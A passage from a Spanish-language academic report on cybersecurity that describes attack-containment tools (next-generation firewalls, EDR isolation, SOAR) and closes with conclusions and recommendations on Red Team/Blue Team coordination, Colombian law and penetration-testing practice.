2021); y soporte para el cumplimiento normativo, ayudando a cumplir con regulaciones como
GDPR o PCI DSS (LogRhythm, 2022). Un SIEM efectivo potencia la deteccion y respuesta
frente a amenazas, convirtiéndose en una herramienta esencial para los equipos de seguridad
actuales (Ponemon Institute, 2022)
Herramientas de Contencion de Ataques Informaticos
La contencion de ataques informaticos es una fase critica en la respuesta a incidentes que busca
limitar el dafio causado por un ataque en curso, aislando la amenaza y evitando su propagacion.
A diferencia de las herramientas de deteccion (como IDS/IPS), las herramientas de contencion
actuan despues de identificada la amenaza para controlarla (NIST, 2023).
Tres de estas herramientas son las siguientes:

Firewalls de Nueva Generacion (NGFW)
Dispositivos avanzados que combinan las funciones clasicas de firewall con inspeccién profunda
de paquetes y control de aplicaciones.
Caracteristicas clave para contencion:

e Segmentacion dinamica de la red para aislar sistemas comprometidos.

o Bloqueo inmediato de comunicaciones maliciosas basado en politicas.

o Control granular por aplicacién y usuario, no solo por puerto o protocolo.

e Respuesta automatizada mediante reglas predefinidas.
Soluciones de Aislamiento de Endpoints (EDR con capacidades de contencion)

Plataformas modernas de deteccion y respuesta en endpoints que pueden actuar

directamente sobre los dispositivos afectados.
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Caracteristicas clave para contencion:

Aislamiento en red del endpoint infectado, manteniendo conexion con la consola central.
e Terminacion en tiempo real de procesos maliciosos.
e Bloqueo de ejecucion de archivos sospechosos.
e Cuarentena de archivos comprometidos.
« Desconexion selectiva de recursos de red.
CrowdStrike (2023) indica que la contencidn efectiva en endpoints puede reducir el
tiempo que un atacante permanece dentro de un sistema de dias a minutos.
Plataformas de Orquestacion de Seguridad (SOAR)
Sistemas que automatizan y coordinan la respuesta a incidentes mediante orquestacion
avanzada.

Caracteristicas clave para contencion:

Ejecucion automatizada de playbooks de respuesta.

o Integracion con multiples sistemas para coordinar acciones de contencion.

o Aislamiento automatico de sistemas comprometidos tras alertas verificadas.

o Cambios coordinados en firewalls, proxies, NAC y otros controles.

e Revocacidn rapida de credenciales comprometidas

Segun un estudio de Gartner (2022), las organizaciones que implementan SOAR pueden

reducir el tiempo medio de contencidn en un 80%, minimizando significativamente el impacto de
las violaciones de seguridad.
Link Video Sustentacion

https://youtu.be/UnAHMAz7GZg
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Conclusiones
El funcionamiento eficaz y ético de los equipos Red Team y Blue Team es clave para reforzar la
estrategia de ciberseguridad dentro de las organizaciones. Estos equipos especializados permiten
detectar vulnerabilidades, anticipar posibles ataques y actuar con rapidez frente a incidentes,
garantizando la continuidad operativa y la integridad de los activos de informacion mas
sensibles. El respaldo normativo que ofrecen las leyes y decretos colombianos proporciona el
marco legal necesario para regular las actividades de evaluacion de seguridad, promoviendo
actuaciones responsables, ajustadas a la legalidad y orientadas por principios éticos.

De igual manera, la aplicacion de metodologias bien estructuradas en las pruebas de
penetracion, combinada con el uso de herramientas como Metasploit, Nmap y OpenVAS,
contribuye a una identificacion temprana de debilidades, lo que permite implementar medidas
preventivas y correctivas de forma oportuna. La coordinacién constante entre los equipos
ofensivos y defensivos, reforzada por una cultura organizacional centrada en la ética profesional,
la capacitacion continua y la adecuada gestion de incidentes, impulsa la mejora progresiva de las
politicas y procedimientos de proteccidn cibernética.

Adicionalmente, se hace indispensable una gestion proactiva de vulnerabilidades, el
cumplimiento riguroso de la legislacion aplicable y la formacidn de talento humano altamente
capacitado en ciberseguridad. Estos factores permiten a las organizaciones anticiparse a los
riesgos, alinearse con estandares internacionales y mantener la confianza de sus partes
interesadas en un entorno digital dindmico y desafiante. En Gltima instancia, promover una
cultura de mejora continua, basada en valores éticos y normativos, no solo fortalece la capacidad
institucional para enfrentar amenazas emergentes, sino que también consolida una reputacion

firme y confiable dentro del ecosistema de la seguridad informatica.
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Recomendaciones

Es prioritario que las organizaciones adopten un enfoque holistico de ciberseguridad que
contemple la creacidn, capacitacion y funcionamiento articulado de equipos especializados como
el Red Team y el Blue Team. La sinergia entre estos equipos, cimentada en un marco juridico
vigente y robusto, posibilita la identificacion, andlisis y mitigacion proactiva de vulnerabilidades,
lo que contribuye significativamente al fortalecimiento de la seguridad institucional.

Asimismo, es recomendable aplicar metodologias sistematicas para la realizacion de
pruebas de penetracion, apoyadas en herramientas reconocidas como Metasploit, Nmap,
OpenVAS, entre otras. Estas practicas permiten detectar brechas de seguridad antes de que
puedan ser aprovechadas por agentes externos maliciosos. A su vez, una gestion continua de
vulnerabilidades, complementada con la documentacion precisa de los incidentes y la
capacitacion permanente del recurso humano, resulta indispensable para sostener un entorno
digital protegido frente a amenazas emergentes.

En paralelo, las organizaciones deben asegurar la conformidad con la normativa
colombiana vigente relacionada con delitos informaticos y la proteccion de datos personales,
incorporando estos lineamientos en sus politicas internas y en los protocolos operativos del dia a
dia. El uso de estrategias como la segmentacion de redes, la implementacion de controles de
acceso estrictos y el despliegue de tecnologias de deteccion y respuesta (IDS/IPS, EDR) fortalece
la seguridad perimetral y mejora las capacidades de respuesta ante eventos sospechosos.

Finalmente, es fundamental fomentar una cultura institucional orientada a la mejora
continua, al cumplimiento ético y a la responsabilidad en el manejo de los activos digitales. Esto
no solo incrementa la confianza de clientes, usuarios y aliados estratégicos, sino que también

impulsa una mayor resiliencia organizacional frente al panorama cambiante de la ciberamenaza.
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